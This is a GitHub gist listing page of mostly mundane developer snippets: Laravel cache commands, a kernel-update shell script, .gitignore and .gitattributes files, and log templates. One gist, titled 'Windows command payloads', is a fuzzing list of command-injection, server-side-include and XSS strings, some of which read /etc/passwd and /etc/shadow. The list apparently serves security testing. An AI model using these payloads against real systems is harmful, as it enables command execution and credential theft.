Skip to content

Instantly share code, notes, and snippets.

@Yousha
Yousha / ClearAllCaches.php
Created November 5, 2024 08:36
Laravel - clear all caches
<?php
/* 'composer dump-autoload',
'optimize:clear',
'queue:restart',
'clear-compiled',
'session:clear',
'tests-storage:clear',
'log:clear',
'event:clear',
@Yousha
Yousha / update_linux_kernel.sh
Last active May 27, 2024 09:13
Shell script to update Linux kernel. (Traditionally)
#!/bin/sh
# Prepare.
set -o nounset # Abort on unbound variable.
set -o pipefail # Non-POSIX - Don't hide errors within pipes.
LANG=C
LC_CTYPE=C
LC_ALL=C
[ $UID != 0 ] && {
@Yousha
Yousha / .gitignore
Last active April 15, 2023 06:11
.gitignore for GNU+Linux root filesystem to track changes.
/dev/
/lost+found/
/proc/
/mnt/
/media/
/var/cache/nscd/hosts
/var/cache/nscd/passwd
/media/user/
/var/cache/nscd/group
/root/.cache/
@Yousha
Yousha / .gitignore
Created March 24, 2021 10:14
.gitignore for assets/documents.
##### Windows
# Windows thumbnail cache files
Thumbs.db
Thumbs.db:encryptable
ehthumbs.db
ehthumbs_vista.db
# Dump file
*.stackdump
@Yousha
Yousha / .gitattributes
Created March 24, 2021 09:55
.gitattributes for assets/documents.
* text=auto
###### Git
.gitattributes text
.gitignore text
.gitconfig text
.gitmodules text
##### Windows
*.bat text eol=crlf
@Yousha
Yousha / gist:0f022625ac5e7bb33aec45cddce2a583
Created June 16, 2020 08:59
Windows command payloads
`
||
|
;
'
'"
"
"'
&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/passwd&quot;--&gt;
&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/shadow&quot;--&gt;
&lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt;
&lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt;
/index.html|id|
;id;
;id
;netstat -a;
;system('cat%20/etc/passwd')
;id;
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@Yousha
Yousha / gist:3d4c171edb7d39b068a0ab16bab3788e
Created June 16, 2020 08:56
Troubleshooting information
Application:
Name
Version
Build number
Locale
Last update
Architecture
API
Compiler/SAPI
Builder
@Yousha
Yousha / gist:32e918743e7898fe74594a877ac064e3
Last active June 16, 2020 08:55
Application log template
[Date Time] [ProcessId/ThreadId] [Application.ClassName.MethodName] Message